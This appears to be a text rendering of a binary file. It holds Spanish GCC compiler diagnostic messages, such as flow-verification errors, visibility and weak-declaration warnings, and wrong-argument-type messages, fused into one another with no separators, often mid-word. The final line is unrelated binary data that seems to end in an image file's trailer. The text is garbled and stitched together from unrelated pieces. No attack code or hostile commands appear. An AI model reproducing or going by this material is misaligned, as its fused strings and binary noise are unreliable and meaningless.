%i->%iverify_flow_info: REG_BR_PROB no coincide con la configuración %wi %iverify_flow_info: Cuenta errónea del bloque %i %iverify_flow_info: Cuenta errónea del borde %i->%i %iverify_flow_info: Frecuencia errónea del bloque %i %iverify_flow_info: Probabilidad errónea del borde %i->%i %ifalló verify_flow_insensitive_alias_infofalló verify_flow_sensitive_alias_infofalló verify_gimplefalló verify_histogramsfalló verify_memory_partitionsfalló verify_ssafalló verify_stmtsel atributo version no es una cadenamatriz virtual %s[%lu]: el elemento %lu está fuera del límite en %s, en %s:%dbase virtual %qT inaccesible en %qT debido a ambigüedadlas funciones virtual no pueden ser friendfunción virtual %qs que no es claseel argumento de visibilidad debe ser "default", "hidden", "protected" o "internal"el argumento de visibilidad no es una cadenano se admiten los atributos de visibilidad en esta configuración; descartadosno se descarta el valor void como debería de serSe debe especificar volatile en cualquier memoria que sea afectada por DMAla disposición vtable para la clase %qT puede no cumplir con la ABI y puede cambiar en una versión futura de GCC debido al destructor virtual implícitoaviso: aviso: '-x %s' después del último fichero de entrada no tiene efectoaviso: el argumento %.*s de --help es ambiguo, por favor sea más específico
aviso: se descarta -pipe porque se especificó -save-tempsaviso: se descartaron los ficheros .class que ya fueron compilados con -Caviso: no se reconoce el argumento para la opción --help=: %.*s
aviso: uso del operador obsoleto %%[ en especificaciónla declaración weak de %q+D después del primer uso resulta en una conducta no especificadala declaración weak de %q+D debe ser publicla declaración débil de %q+D debe preceder a la definiciónno se admite la declaración weak de %q+Dla referencia débil %q+D debe tener enlazado estáticola referencia débil %q+D finalmente apunta a sí mismaal escribir la salida a %s: %mmatriz de caracteres anchos inicializada con una cadena ancha incompatiblematriz de caracteres anchos inicializada con una cadena que no es anchaliteral de cadena ancha en %<asm%>la anchura de %q+D excede su tipola anchura de %qs excede su tipose asumirán que devuelven %<id%> y aceptaráncon %q+#Ddesde este contextola región de trabajo compartido puede no estar bien anidada dentro de la región de trabajo compartido, crítica, ordenada, maestra o de tarea explícitaescribiendo en un objeto constante (argumento %d)escribiendo a través de un puntero nulo (argumento %d)cantidad errónea de bordes de ramificación después del salto condicional %icantidad errónea de bordes de ramificación después del salto incondicional %iborde erróneo %d->%d para el argumento PHIlista de uso inmediato erróneainsn erróneo en el borde del respaldose especificó el número equivocado de argumentos para el atributo %qsnúmero erróneo de argumentos para la función %<__builtin_next_arg%>número erróneo argumentos para la función %<va_start%>número erróneo de argumentos de plantilla (%d, debe ser %d%s)número erróneo de argumentos de plantilla (%d, debe ser %d)banderas de borde de salida erróneas al final del bb %dargumento de tipo erróneo para absargumento de tipo erróneo para complemento de bitsargumento de tipo erróneo para la conjugaciónargumento de tipo erróneo para el decrementoargumento de tipo erróneo para el incrementoargumento de tipo erróneo para el signo de exclamación unarioargumento de tipo erróneo para el decremento unarioargumento de tipo erróneo para el incremento unariose devuelve el registro x87 con x87 desactivadoxstormy16_print_operand: código desconocidoz/Architectureno se admite el modo z/Architecture en %smatriz %q+D de tamaño cero o negativovector de tamaño ceroanchura cero para el campo de bits %q+Danchura cero para el campo de bits %qsanchura cero en el formato %scadena de formato %s de longitud ceromatriz %qD de tamaño cero
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚